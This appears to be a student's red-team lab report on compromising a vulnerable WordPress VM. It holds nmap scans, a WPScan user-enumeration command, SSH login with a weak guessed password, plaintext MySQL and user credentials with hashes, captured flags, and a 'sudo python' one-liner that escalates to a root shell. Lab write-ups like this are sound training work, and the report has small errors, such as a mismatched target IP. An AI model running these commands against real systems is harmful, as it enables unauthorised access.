# **Red Team: Summary of Operations**

## **Table of Contents**

* Exposed Services
* Critical Vulnerabilities
* Exploitation

### **Exposed Services**

*TODO: Fill out the information below.*

Nmap scan results for each machine reveal the below services and OS details:

$ nmap -sV 192.168.1.\*

#Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-26 15:14 PST

Nmap scan report for 192.168.1.1

Host is up (0.00054s latency).

Not shown: 995 filtered ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

2179/tcp open vmrdp?

3389/tcp open ms-wbt-server Microsoft Terminal Services

MAC Address: 00:15:5D:00:04:0D (Microsoft)

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.1.100

Host is up (0.00039s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

9200/tcp open http Elasticsearch REST API 7.6.1 (name: elk; cluster: elasticsearch; Lucene 8.4.0)

MAC Address: 4C:EB:42:D2:D5:D7 (Intel Corporate)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Nmap scan report for 192.168.1.105

Host is up (0.00088s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.29

MAC Address: 00:15:5D:00:04:0F (Microsoft)

Service Info: Host: 192.168.1.105; OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Nmap scan report for 192.168.1.110

Host is up (0.00091s latency).

Not shown: 995 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)

80/tcp open http Apache httpd 2.4.10 ((Debian))

111/tcp open rpcbind 2-4 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

MAC Address: 00:15:5D:00:04:10 (Microsoft)

Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Nmap scan report for 192.168.1.115

Host is up (0.00038s latency).

Not shown: 995 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)

80/tcp open http Apache httpd 2.4.10 ((Debian))

111/tcp open rpcbind 2-4 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

MAC Address: 00:15:5D:00:04:11 (Microsoft)

Service Info: Host: TARGET2; OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Nmap scan report for 192.168.1.90

Host is up (0.0000070s latency).

Not shown: 999 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.1p1 Debian 5 (protocol 2.0)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 256 IP addresses (6 hosts up) scanned in 28.24 seconds

This scan identifies the services below as potential points of entry:

* Target 1 192.168.1.100
  + 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
  + 80/tcp open http Apache httpd 2.4.10 ((Debian))
  + 111/tcp open rpcbind 2-4 (RPC #100000)
  + 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  + 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

*TODO: Fill out the list below. Include severity, and CVE numbers, if possible.*

The following vulnerabilities were identified on each target:

* Target 1
  + HTTP Port access
    - Wordpress site using WPscan
    - Dirb scan
      * Wpscan –url http://192.168.1.110/wordpress –enumerate u
  + SSH into an account with open port 22
    - Ssh michael@192.168.1.110 with password michael
      * Navigate to /var/www/http/wordpress
        + cat/nano/less wp-config.php

*TODO: Include vulnerability scan results to prove the identified vulnerabilities.*

### **Exploitation**

*TODO: Fill out the details below. Include screenshots where possible.*

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

* Target 1
  + Flag1.txt:
    - *flag1{b9bbcb33e11b80be759c4e844862482d}*
    - Exploit Used
      * *Getting into michael’s account via ssh; one avenue of searching is to grep*
      * *I ended up lessing some of the html files and found the flag*
  + Flag2.txt:
    - *flag2{fc3fd58dcdad9ab23faca6e9a36e581c}*
    - Exploit Used
      * *Found in the www directory*
  + *Flag3.txt*
    - *flag3{afc01ab56b50591e7dccf93122770cd2}*
    - *Found in the mySQL command: wordpress database in the wp\_posts table*
  + *Flag4.txt*
    - *Flag4{715dea6c055b9fe3337544932f2941ce}*
    - *sudo python -c 'import os; os.system("/bin/sh")'*
      * *This reverse shells from steven user to root privilege*
      * *Sudo -ls show what command can be executed by user: which steven can execute python scripts without passwords in sudo.*
      * *Using cd: it took me to the root home folder and flag4.txt was in there*

NOTES:

MySQL username: root

Password: R@v3nSecurity

Michael username: michael

Password: michael

Hash: $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

Steven username: steven

Password: pink84

Hash: $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/

~~DB\_Charset: utf8mb4 (irrelevant)~~

Gtfobins.github.io > Search python sudo escalation